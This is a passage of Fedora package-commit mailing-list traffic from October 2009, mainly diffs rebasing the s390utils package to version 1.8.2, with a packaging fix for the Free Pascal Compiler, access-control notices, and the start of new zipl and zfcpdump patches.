 	fi
-	echo
+}
+
+status()
+{
+	status_daemon $FSSTATD $FSSTATD_PID_FILE $FSSTAT_INTERVAL
+	status_daemon $PROCD $PROCD_PID_FILE $PROC_INTERVAL
 }
 
 # How are we called?
@@ -133,7 +148,7 @@ case "$1" in
 		;;
 	*)
 		echo "Usage: $DAEMON {start|stop|status|restart|reload}"
-		RETVAL=1
+		exit 1
 esac
 
-exit $RETVAL
+exit 0
-- 
1.6.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	3 Jul 2009 09:22:09 -0000	1.3
+++ .cvsignore	8 Oct 2009 13:52:51 -0000	1.4
@@ -1,4 +1,4 @@
-s390-tools-1.8.1.tar.bz2
+s390-tools-1.8.2.tar.bz2
 cmsfs-1.1.8c.tar.gz
 lib-zfcp-hbaapi-2.0.tar.gz
 src_vipa-2.0.4.tar.gz


Index: s390utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-11/s390utils.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- s390utils.spec	4 Oct 2009 15:57:11 -0000	1.10
+++ s390utils.spec	8 Oct 2009 13:52:52 -0000	1.11
@@ -7,8 +7,8 @@
 Name:           s390utils
 Summary:        Utilities and daemons for IBM System/z
 Group:          System Environment/Base
-Version:        1.8.1
-Release:        8%{?dist}
+Version:        1.8.2
+Release:        1%{?dist}
 Epoch:          2
 License:        GPLv2 and GPLv2+ and CPL
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -27,28 +27,16 @@ Source8:        dasd.udev
 # http://www.ibm.com/developerworks/linux/linux390/zfcp-hbaapi-%{hbaapiver}.html
 Source9:        http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux390/ht_src/lib-zfcp-hbaapi-%{hbaapiver}.tar.gz
 
-Patch1:   0001-s390-tools-1.8.1-common-mak.patch
-Patch4:   0004-s390-tools-1.8.1-zipl-automenu.patch
-Patch5:   0005-s390-tools-1.8.1-fdasd-su.patch
-Patch6:   0006-s390-tools-1.8.1-fdasd-raid-lvm.patch
-Patch8:   0008-s390-tools-1.8.1-ziorep-fixes.patch
-Patch9:   0009-s390-tools-1.8.1-cflags.patch
-Patch10:  0010-s390-tools-1.8.1-defaultmenu.patch
-Patch11:  0011-s390-tools-1.8.1-execstack.patch
-Patch12:  0012-s390-tools-1.8.1-ziomon-fixes.patch
-Patch13:  0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch
-Patch14:  0014-s390-tools-1.8.1-zipl-kdump-man.patch
-Patch15:  0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch
-Patch16:  0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch
-Patch17:  0017-s390-tools-1.8.1-cpuplugd-memplug.patch
-Patch18:  0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch
-Patch19:  0019-s390-tools-1.8.1-lsluns-disk-enc.patch
-Patch20:  0020-s390-tools-1.8.1-cpuplugd-cmminit.patch
-Patch21:  0021-s390-tools-1.8.1-lszfcp-perf.patch
-Patch22:  0022-fix-string-overflow-in-vtoc_volume_label_init.patch
-Patch23:  0023-change-default-load-address-for-ramdisk.patch
-Patch24:  0024-s390-tools-1.8.1-cpuplugd-limits.patch
-Patch25:  0025-s390-tools-1.8.1-misc-bugfixes.patch
+Patch1:   0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch
+Patch2:   0002-s390-tools-1.8.1-zipl-automenu.patch
+Patch3:   0003-s390-tools-1.8.1-fdasd-su.patch
+Patch4:   0004-s390-tools-1.8.1-fdasd-raid-lvm.patch
+Patch5:   0005-don-t-create-automenu-when-default-menu-exists.patch
+Patch6:   0006-s390-tools-1.8.1-zipl-kdump-man.patch
+Patch7:   0007-s390-tools-1.8.1-lszfcp-perf.patch
+Patch8:   0008-fix-string-overflow-in-vtoc_volume_label_init.patch
+Patch9:   0009-change-default-load-address-for-ramdisk.patch
+Patch10:  0010-improve-mon_statd-init-script.patch
 
 Patch100:       cmsfs-1.1.8-warnings.patch
 Patch101:       cmsfs-1.1.8-kernel26.patch
@@ -67,8 +55,8 @@ Requires:       s390utils-cmsfs = %{epoc
 
 
 %description
-This is a meta package for installing all s390-tools sub packages.
-If you do not need all sub packages, it is recommended to install the
+This is a meta package for installing the default s390-tools sub packages.
+If you do not need all default sub packages, it is recommended to install the
 required sub packages separately.
 
 The s390utils packages contain a set of user space utilities that should to
@@ -81,63 +69,31 @@ be used together with the zSeries (s390)
 %patch1 -p1 -b .common-mak
 
 # Patch to maintain backwards compatibility with older zipl multiboot feature
-%patch4 -p1 -b .zipl-automenu
+%patch2 -p1 -b .zipl-automenu
 
 # Fix to honor the silent flag for wrongly formated disks
-%patch5 -p1 -b .fdasd-su
+%patch3 -p1 -b .fdasd-su
 
 # Enhancement to add raid partiton support to dasds
-%patch6 -p1 -b .fdasd-raid-lvm
-
-# Post 1.8.1 fixes for ziorep
-%patch8 -p1 -b .ziorep
-
-# Allow override of optimization level in CFLAGS
-%patch9 -p1 -b .cflags
+%patch4 -p1 -b .fdasd-raid-lvm
 
 # Don't build automenu iff default menu exists (#486444)
-%patch10 -p1 -b .defaultmenu
-
-# Remove the execuatble stack flag from zipl
-%patch11 -p1 -b .execstack
-
-# Post 1.8.1 fixes for ziomon
-%patch12 -p1 -b .ziomon
-
-# Post 1.8.1 fix for zipl
-%patch13 -p1 -b .zipl-device
+%patch5 -p1 -b .defaultmenu
 
 # Update zipl man page
-%patch14 -p1 -b .zipl-kdump-man
-
-# Last-minute fixes from IBM
-%patch15 -p1 -b .iucvterm-getlogin-to-getpwuid
-%patch16 -p1 -b .dumpconf-improve-error-checking
-%patch17 -p1 -b .cpuplugd-memplug
-
-# Adapt ziomon to the new layout of the blkiomon_stat structure (#506966)
-%patch18 -p1 -b .ziomon-new-blkiomon
-
-# Fix byte check for disk encryption check in lsluns (#510032)
-%patch19 -p1 -b .lsluns-disk-enc
-
-# Fix cmm configuration file value initialization parser in cpuplugd (#511379)
-%patch20 -p1 -b .cpuplugd-cmminit
+%patch6 -p1 -b .zipl-kdump-man
 
 # Check only ZFCP devices in lszfcp (#518669)
-%patch21 -p1 -b .lszfcp-perf
+%patch7 -p1 -b .lszfcp-perf
 
 # Fix string overflow in vtoc_volume_label_init (#525318)
-%patch22 -p1 -b .vtoc-label
+%patch8 -p1 -b .vtoc-label
 
 # Change default load address for ramdisk (#526339)
-%patch23 -p1 -b .ramdisk-address
+%patch9 -p1 -b .ramdisk-address
 
-# Fix cmm_pages allocation outside min and max range (#525495)
-%patch24 -p1 -b .ramdisk-address
-
-# Miscelaneous fixes for 1.8.1 (#525495)
-%patch25 -p1 -b .misc
+# Improve mon_statd init script
+%patch10 -p1 -b .improve-mon_statd
 
 #
 # cmsfs
@@ -187,7 +143,7 @@ popd
 
 
 %build
-make OPT_FLAGS="$RPM_OPT_FLAGS" DISTRELEASE=%{release}
+make OPT_FLAGS="$RPM_OPT_FLAGS" DISTRELEASE=%{release} V=1
 
 pushd cmsfs-%{cmsfsver}
 ./configure
@@ -213,7 +169,8 @@ make install \
         INSTROOT=$RPM_BUILD_ROOT \
         MANDIR=$RPM_BUILD_ROOT%{_mandir} \
         LIBDIR=${RPM_BUILD_ROOT}/%{_lib} \
-        DISTRELEASE=%{release}
+        DISTRELEASE=%{release} \
+        V=1
 
 mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
 mkdir -p ${RPM_BUILD_ROOT}%{_initddir}
@@ -375,19 +332,23 @@ s390 base tools. This collection provide
    * zconf:
      Set of scripts to configure and list status information of Linux for
      zSeries IO devices.
-     - chccwdev: Modify generic attributes of channel attached devices.
-     - lscss:    List channel subsystem devices.
-     - lsdasd:   List channel attached direct access storage devices (DASD).
-     - lsqeth:   List all qeth-based network devices with their corresponding
-                 settings.
-     - lstape:   List tape devices, both channel and FCP attached.
-     - lszfcp:   Shows information contained in sysfs about zfcp adapters,
-                 ports and units that are online.
-     - lschp:    List information about available channel-paths.
-     - chchp:    Modify channel-path state.
-     - lsluns:   List available SCSI LUNs depending on adapter or port.
-     - lszcrypt: Show Information about zcrypt devices and configuration.
-     - chzcrypt: Modify zcrypt configuration.
+     - chccwdev:   Modify generic attributes of channel attached devices.
+     - lscss:      List channel subsystem devices.
+     - lsdasd:     List channel attached direct access storage devices (DASD).
+     - lsqeth:     List all qeth-based network devices with their corresponding
+                   settings.
+     - lstape:     List tape devices, both channel and FCP attached.
+     - lszfcp:     Shows information contained in sysfs about zfcp adapters,
+                   ports and units that are online.
+     - lschp:      List information about available channel-paths.
+     - chchp:      Modify channel-path state.
+     - lsluns:     List available SCSI LUNs depending on adapter or port.
+     - lszcrypt:   Show Information about zcrypt devices and configuration.
+     - chzcrypt:   Modify zcrypt configuration.
+     - znetconf:   List and configure network devices for System z network
+                   adapters.
+     - cio_ignore: Query and modify the contents of the CIO device driver
+                   blacklist.
 
    * dumpconf:
      Allows to configure the dump device used for system dump in case a kernel
@@ -423,7 +384,6 @@ fi
 %defattr(-,root,root,-)
 %doc README
 %doc LICENSE
-/sbin/vmur
 /sbin/zipl
 /sbin/dasdfmt
 /sbin/dasdinfo
@@ -432,6 +392,7 @@ fi
 /sbin/chccwdev
 /sbin/chchp
 /sbin/chzcrypt
+/sbin/cio_ignore
 /sbin/lschp
 /sbin/lscss
 /sbin/lsdasd
@@ -449,6 +410,7 @@ fi
 /sbin/tunedasd
 /sbin/vmcp
 /sbin/zgetdump
+/sbin/znetconf
 /sbin/dbginfo.sh
 %{_sbindir}/lsreipl
 %{_sbindir}/lsshut
@@ -456,10 +418,12 @@ fi
 %{_sbindir}/chshut
 %{_sbindir}/ip_watcher.pl
 %{_sbindir}/start_hsnc.sh
+%{_sbindir}/vmur
 %{_sbindir}/xcec-bridge
 %{_bindir}/vmconvert
 %{_initddir}/dumpconf
 %config(noreplace) %{_sysconfdir}/sysconfig/dumpconf
+/lib/s390-tools
 %{_mandir}/man1/zfcpdbf.1*
 %{_mandir}/man4/prandom.4*
 %{_mandir}/man5/zipl.conf.5*
@@ -468,6 +432,7 @@ fi
 %{_mandir}/man8/chreipl.8*
 %{_mandir}/man8/chshut.8*
 %{_mandir}/man8/chzcrypt.8*
+%{_mandir}/man8/cio_ignore.8*
 %{_mandir}/man8/dasdfmt.8*
 %{_mandir}/man8/dasdinfo.8*
 %{_mandir}/man8/dasdview.8*
@@ -492,6 +457,7 @@ fi
 %{_mandir}/man8/vmcp.8*
 %{_mandir}/man8/vmur.8*
 %{_mandir}/man8/zgetdump.8*
+%{_mandir}/man8/znetconf.8*
 %{_mandir}/man8/zipl.8*
 
 # Additional Redhat specific stuff
@@ -615,18 +581,18 @@ Group:          Applications/System
 Requires:       perl lsscsi coreutils blktrace >= 1.0.1
 
 %description ziomon
-Tool set to collect data for zfcp performance analysis.
+Tool set to collect data for zfcp performance analysis and report.
 
 %files ziomon
 %defattr(-,root,root,-)
-/sbin/ziomon
-/sbin/ziomon_fcpconf
-/sbin/ziomon_mgr
-/sbin/ziomon_util
-/sbin/ziomon_zfcpdd
-/sbin/ziorep_config
-/sbin/ziorep_traffic
-/sbin/ziorep_utilization
+%{_sbindir}/ziomon
+%{_sbindir}/ziomon_fcpconf
+%{_sbindir}/ziomon_mgr
+%{_sbindir}/ziomon_util
+%{_sbindir}/ziomon_zfcpdd
+%{_sbindir}/ziorep_config
+%{_sbindir}/ziorep_traffic
+%{_sbindir}/ziorep_utilization
 %{_mandir}/man8/ziomon.8*
 %{_mandir}/man8/ziomon_fcpconf.8*
 %{_mandir}/man8/ziomon_mgr.8*
@@ -646,7 +612,14 @@ Group:          Applications/System
 BuildRequires:  gettext
 
 %description iucvterm
-z/VM IUCV terminal applications.
+A set of applications to provide terminal access via the z/VM Inter-User
+Communication Vehicle (IUCV). The terminal access does not require an
+active TCP/IP connection between two Linux guest operating systems.
+
+- iucvconn:  Application to establish a terminal connection via z/VM IUCV.
+- iucvtty:   Application to provide terminal access via z/VM IUCV.
+- ts-shell:  Terminal server shell to authorize and control IUCV terminal
+             connections for individual Linux users.
 
 %pre iucvterm
 # check for ts-shell group and create it
@@ -787,6 +760,10 @@ User-space development files for the s39
 
 
 %changelog
+* Thu Oct  8 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-1
+- added patch for improving mon_statd behaviour
+- rebased to 1.8.2
+
 * Fri Oct  2 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-8
 - really changed ramdisk load address (#526339)
 - change the required and optional subpackages for the meta package


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	3 Jul 2009 09:22:10 -0000	1.3
+++ sources	8 Oct 2009 13:52:52 -0000	1.4
@@ -1,4 +1,4 @@
-6a94c4655204a4ec7a2c64f42c9afed3  s390-tools-1.8.1.tar.bz2
+856ecdd42ad358433eb3fcc886b58a89  s390-tools-1.8.2.tar.bz2
 71a8ee5918f2c44c385fcfe8350cdc98  cmsfs-1.1.8c.tar.gz
 2cbfffca3f07c61420899f45d221d451  lib-zfcp-hbaapi-2.0.tar.gz
 ba42772e5b305b5e147344442cd70826  src_vipa-2.0.4.tar.gz


--- 0001-s390-tools-1.8.1-common-mak.patch DELETED ---


--- 0004-s390-tools-1.8.1-zipl-automenu.patch DELETED ---


--- 0005-s390-tools-1.8.1-fdasd-su.patch DELETED ---


--- 0006-s390-tools-1.8.1-fdasd-raid-lvm.patch DELETED ---


--- 0008-s390-tools-1.8.1-ziorep-fixes.patch DELETED ---


--- 0009-s390-tools-1.8.1-cflags.patch DELETED ---


--- 0010-s390-tools-1.8.1-defaultmenu.patch DELETED ---


--- 0011-s390-tools-1.8.1-execstack.patch DELETED ---


--- 0012-s390-tools-1.8.1-ziomon-fixes.patch DELETED ---


--- 0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch DELETED ---


--- 0014-s390-tools-1.8.1-zipl-kdump-man.patch DELETED ---


--- 0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch DELETED ---


--- 0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch DELETED ---


--- 0017-s390-tools-1.8.1-cpuplugd-memplug.patch DELETED ---


--- 0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch DELETED ---


--- 0019-s390-tools-1.8.1-lsluns-disk-enc.patch DELETED ---


--- 0020-s390-tools-1.8.1-cpuplugd-cmminit.patch DELETED ---


--- 0021-s390-tools-1.8.1-lszfcp-perf.patch DELETED ---


--- 0022-fix-string-overflow-in-vtoc_volume_label_init.patch DELETED ---


--- 0023-change-default-load-address-for-ramdisk.patch DELETED ---


--- 0024-s390-tools-1.8.1-cpuplugd-limits.patch DELETED ---


--- 0025-s390-tools-1.8.1-misc-bugfixes.patch DELETED ---



From pkgdb at fedoraproject.org  Thu Oct  8 13:53:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:53:09 +0000
Subject: [pkgdb] anaconda had acl change status
Message-ID: <20091008135309.9884810F88F@bastion2.fedora.phx.redhat.com>

clumens has set the commit acl on anaconda (Fedora devel) to Approved for rvykydal

To make changes to this package see:
  /pkgdb/packages/name/anaconda



From pkgdb at fedoraproject.org  Thu Oct  8 13:53:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:53:19 +0000
Subject: [pkgdb] anaconda had acl change status
Message-ID: <20091008135319.2866810F880@bastion2.fedora.phx.redhat.com>

clumens has set the commit acl on anaconda (Fedora 12) to Approved for rvykydal

To make changes to this package see:
  /pkgdb/packages/name/anaconda



From joost at fedoraproject.org  Thu Oct  8 13:54:24 2009
From: joost at fedoraproject.org (Joost van der Sluis)
Date: Thu,  8 Oct 2009 13:54:24 +0000 (UTC)
Subject: rpms/fpc/F-12 fpc.spec,1.36,1.37
Message-ID: <20091008135424.9FB8411C00DB@cvs1.fedora.phx.redhat.com>

Author: joost

Update of /cvs/pkgs/rpms/fpc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24636

Modified Files:
	fpc.spec 
Log Message:
* Tue Oct 8 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4.1
- Restored accidentally removed ppc64 compiler name



Index: fpc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fpc/F-12/fpc.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- fpc.spec	8 Oct 2009 13:06:19 -0000	1.36
+++ fpc.spec	8 Oct 2009 13:54:24 -0000	1.37
@@ -1,6 +1,6 @@
 Name:           fpc
 Version:        2.2.4
-Release:        4%{?dist}
+Release:        4%{?dist}.1
 Summary:        Free Pascal Compiler
 
 Group:          Development/Languages
@@ -62,6 +62,7 @@ automatical-code generation purposes.
 %define ppcname ppcx64
 %else
 %ifarch ppc64
+%define ppcname ppcppc64
 %else
 %define ppcname ppc386
 %endif
@@ -177,6 +178,9 @@ rm -rf %{buildroot}
 %{_datadir}/fpcsrc
 
 %changelog
+* Tue Oct 8 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4.1
+- Restored accidentally removed ppc64 compiler name
+
 * Tue Oct 6 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4
 - fixed procvar parameter passing on ppc/sysv (by value instead of by
   reference -- except for method procvars, for tmethod record compatibility) 



From sharkcz at fedoraproject.org  Thu Oct  8 13:54:28 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Thu,  8 Oct 2009 13:54:28 +0000 (UTC)
Subject: rpms/s390utils/F-12 0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch,
	NONE, 1.1 0002-s390-tools-1.8.1-zipl-automenu.patch, NONE,
	1.1 0003-s390-tools-1.8.1-fdasd-su.patch, NONE,
	1.1 0004-s390-tools-1.8.1-fdasd-raid-lvm.patch, NONE,
	1.1 0005-don-t-create-automenu-when-default-menu-exists.patch,
	NONE, 1.1 0006-s390-tools-1.8.1-zipl-kdump-man.patch, NONE,
	1.1 0007-s390-tools-1.8.1-lszfcp-perf.patch, NONE,
	1.1 0008-fix-string-overflow-in-vtoc_volume_label_init.patch,
	NONE, 1.1 0009-change-default-load-address-for-ramdisk.patch,
	NONE, 1.1 0010-improve-mon_statd-init-script.patch, NONE,
	1.1 .cvsignore, 1.3, 1.4 s390utils.spec, 1.9, 1.10 sources, 1.3,
	1.4 0001-s390-tools-1.8.1-common-mak.patch, 1.1,
	NONE 0004-s390-tools-1.8.1-zipl-automenu.patch, 1.1,
	NONE 0005-s390-tools-1.8.1-fdasd-su.patch, 1.1,
	NONE 0006-s390-tools-1.8.1-fdasd-raid-lvm.patch, 1.1,
	NONE 0008-s390-tools-1.8.1-ziorep-fixes.patch, 1.1,
	NONE 0009-s390-tools-1.8.1-cflags.patch, 1.1,
	NONE 0010-s390-tools-1.8.1-defaultmenu.patch, 1.1,
	NONE 0011-s390-tools-1.8.1-execstack.patch, 1.1,
	NONE 0012-s390-tools-1.8.1-ziomon-fixes.patch, 1.1,
	NONE 0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch,
	1.1, NONE 0014-s390-tools-1.8.1-zipl-kdump-man.patch, 1.1,
	NONE 0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch, 1.1, 
	NONE 0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch,
	1.1, NONE 0017-s390-tools-1.8.1-cpuplugd-memplug.patch, 1.1,
	NONE 0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch, 1.1,
	NONE 0019-s390-tools-1.8.1-lsluns-disk-enc.patch, 1.1,
	NONE 0020-s390-tools-1.8.1-cpuplugd-cmminit.patch, 1.1,
	NONE 0021-s390-tools-1.8.1-lszfcp-perf.patch, 1.1,
	NONE 0022-fix-string-overflow-in-vtoc_volume_label_init.patch,
	1.1, NONE 0023-change-default-load-address-for-ramdisk.patch,
	1.2, NONE 0024-s390-tools-1.8.1-cpuplugd-limits.patch, 1.1,
	NONE 0025-s390-tools-1.8.1-misc-bugfixes.patch, 1.1, NONE
Message-ID: <20091008135428.E283811C00DB@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/s390utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24677

Modified Files:
	.cvsignore s390utils.spec sources 
Added Files:
	0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch 
	0002-s390-tools-1.8.1-zipl-automenu.patch 
	0003-s390-tools-1.8.1-fdasd-su.patch 
	0004-s390-tools-1.8.1-fdasd-raid-lvm.patch 
	0005-don-t-create-automenu-when-default-menu-exists.patch 
	0006-s390-tools-1.8.1-zipl-kdump-man.patch 
	0007-s390-tools-1.8.1-lszfcp-perf.patch 
	0008-fix-string-overflow-in-vtoc_volume_label_init.patch 
	0009-change-default-load-address-for-ramdisk.patch 
	0010-improve-mon_statd-init-script.patch 
Removed Files:
	0001-s390-tools-1.8.1-common-mak.patch 
	0004-s390-tools-1.8.1-zipl-automenu.patch 
	0005-s390-tools-1.8.1-fdasd-su.patch 
	0006-s390-tools-1.8.1-fdasd-raid-lvm.patch 
	0008-s390-tools-1.8.1-ziorep-fixes.patch 
	0009-s390-tools-1.8.1-cflags.patch 
	0010-s390-tools-1.8.1-defaultmenu.patch 
	0011-s390-tools-1.8.1-execstack.patch 
	0012-s390-tools-1.8.1-ziomon-fixes.patch 
	0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch 
	0014-s390-tools-1.8.1-zipl-kdump-man.patch 
	0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch 
	0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch 
	0017-s390-tools-1.8.1-cpuplugd-memplug.patch 
	0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch 
	0019-s390-tools-1.8.1-lsluns-disk-enc.patch 
	0020-s390-tools-1.8.1-cpuplugd-cmminit.patch 
	0021-s390-tools-1.8.1-lszfcp-perf.patch 
	0022-fix-string-overflow-in-vtoc_volume_label_init.patch 
	0023-change-default-load-address-for-ramdisk.patch 
	0024-s390-tools-1.8.1-cpuplugd-limits.patch 
	0025-s390-tools-1.8.1-misc-bugfixes.patch 
Log Message:
* Thu Oct  8 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-1
- added patch for improving mon_statd behaviour
- rebased to 1.8.2


0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch:
 common.mak |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE 0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch ---
>From 2b8336a93376953ba0ed84223264be55243ac7f8 Mon Sep 17 00:00:00 2001
From: Dan Horak <dan at danny.cz>
Date: Sun, 20 Jul 2008 09:24:05 +0200
Subject: [PATCH 1/9] s390-tools-1.5.3-zipl-zfcpdump-2

---
 common.mak |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/common.mak b/common.mak
index 8b248f1..0a7916e 100644
--- a/common.mak
+++ b/common.mak
@@ -63,8 +63,8 @@ GROUP		= $(shell id -gn)
 export INSTROOT BINDIR LIBDIR MANDIR OWNER GROUP
 
 # Special defines for zfcpdump
-ZFCPDUMP_DIR    = /usr/local/share/zfcpdump
-ZFCPDUMP_IMAGE  = zfcpdump.image
+ZFCPDUMP_DIR    = /boot
+ZFCPDUMP_IMAGE  = zfcpdump
 ZFCPDUMP_RD     = zfcpdump.rd
 export ZFCPDUMP_DIR ZFCPDUMP_IMAGE ZFCPDUMP_RD
 
-- 
1.6.3.3


0002-s390-tools-1.8.1-zipl-automenu.patch:
 man/zipl.8 |    7 ++
 src/job.c  |  194 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---
 src/scan.c |    4 -
 src/zipl.c |    2 
 4 files changed, 197 insertions(+), 10 deletions(-)

--- NEW FILE 0002-s390-tools-1.8.1-zipl-automenu.patch ---
>From 2513c0f8096c681f962d77420dac731f7bb33e44 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 11:45:36 +0200
Subject: [PATCH 2/9] s390-tools-1.8.1-zipl-automenu

---
 zipl/man/zipl.8 |    7 ++
 zipl/src/job.c  |  194 +++++++++++++++++++++++++++++++++++++++++++++++++++++--
 zipl/src/scan.c |    4 +-
 zipl/src/zipl.c |    1 +
 4 files changed, 197 insertions(+), 9 deletions(-)

diff --git a/zipl/man/zipl.8 b/zipl/man/zipl.8
index 8a83c01..6ebf240 100644
--- a/zipl/man/zipl.8
+++ b/zipl/man/zipl.8
@@ -249,6 +249,13 @@ whether they contain a dump signature or not.
 This option can only be used together with
 .BR \-\-mvdump .
 
+.TP
+.BR "\-x" " or " "\-\-no-automenu"
+Disables the automatic creation of a multiboot menu. Specifying a menu with the
+"-m <MENU>" option or a section disables this feature, too. This option was
+added for compatibility with previous versions of the multiboot version of
+zipl.
+
 .SH EXAMPLE
 1. Scenario: prepare disk for booting a Linux kernel image using the
 following parameters:
diff --git a/zipl/src/job.c b/zipl/src/job.c
index c5c85d8..6a526e4 100644
--- a/zipl/src/job.c
+++ b/zipl/src/job.c
@@ -43,6 +43,7 @@ static struct option options[] = {
 	{ "version",		no_argument,		NULL, 'v'},
 	{ "verbose",		no_argument,		NULL, 'V'},
 	{ "add-files",		no_argument,		NULL, 'a'},
+	{ "no-automenu",        no_argument,            NULL, 'x'},
 	{ "tape",		required_argument,	NULL, 'T'},
 	{ "dry-run",		no_argument,		NULL, '0'},
 	{ "force",		no_argument,		NULL, 'f'},
@@ -50,7 +51,7 @@ static struct option options[] = {
 };
 
 /* Command line option abbreviations */
-static const char option_string[] = "-c:t:i:r:p:P:d:D:M:s:m:hHnVvaT:f";
+static const char option_string[] = "-c:t:i:r:p:P:d:D:M:s:m:hHnVvaxT:f";
 
 struct command_line {
 	char* data[SCAN_KEYWORD_NUM];
@@ -62,11 +63,14 @@ struct command_line {
 	int version;
 	int verbose;
 	int add_files;
+	int automenu;
 	int dry_run;
 	int force;
 	enum scan_section_type type;
 };
 
+/* Global variable for default boot target. Ugly but necessary... */
+static char *default_target;
 
 static int
 store_option(struct command_line* cmdline, enum scan_keyword_id keyword,
@@ -92,6 +96,7 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 	int i;
 
 	memset((void *) &cmdline, 0, sizeof(struct command_line));
+	cmdline.automenu = 1;
 	cmdline.type = section_invalid;
 	is_keyword = 0;
 	/* Process options */
@@ -101,16 +106,22 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 		switch (opt) {
 		case 'd':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_dumpto,
 					  optarg);
 			break;
 		case 'D':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_dumptofs,
 					  optarg);
 			break;
 		case 'M':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_mvdump,
 					  optarg);
 #ifndef __s390x__
@@ -121,35 +132,49 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 			break;
 		case 'i':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_image,
 					  optarg);
 			break;
 		case 'P':
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_parameters,
 					  optarg);
 			break;
 		case 'p':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_parmfile,
 					  optarg);
 			break;
 		case 'r':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_ramdisk,
 					  optarg);
 			break;
 		case 's':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_segment,
 					  optarg);
 			break;
 		case 't':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_target,
 					  optarg);
 			break;
 		case 'T':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_tape,
 					  optarg);
 			break;
@@ -190,6 +215,10 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 		case 'f':
 			cmdline.force = 1;
 			break;
+		case 'x':
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
+			break;
 		case 1:
 			/* Non-option is interpreted as section name */
 			if (cmdline.section != NULL) {
@@ -214,6 +243,9 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 	if (cmdline.help || cmdline.version) {
 		/* Always accept --help and --version */
 	} else if ((cmdline.menu != NULL) || (cmdline.section != NULL)) {
+		/* If either menu or section has been selected disable
+		   automenu generation */
+		cmdline.automenu = 0;
 		/* Config file mode */
 		if ((cmdline.menu != NULL) && (cmdline.section != NULL)) {
 			error_reason("Option 'menu' cannot be used when "
@@ -832,7 +864,14 @@ get_job_from_section_data(char* data[], struct job_data* job, char* section)
 		/* IPL job */
 		job->id = job_ipl;
 		/* Fill in name of bootmap directory */
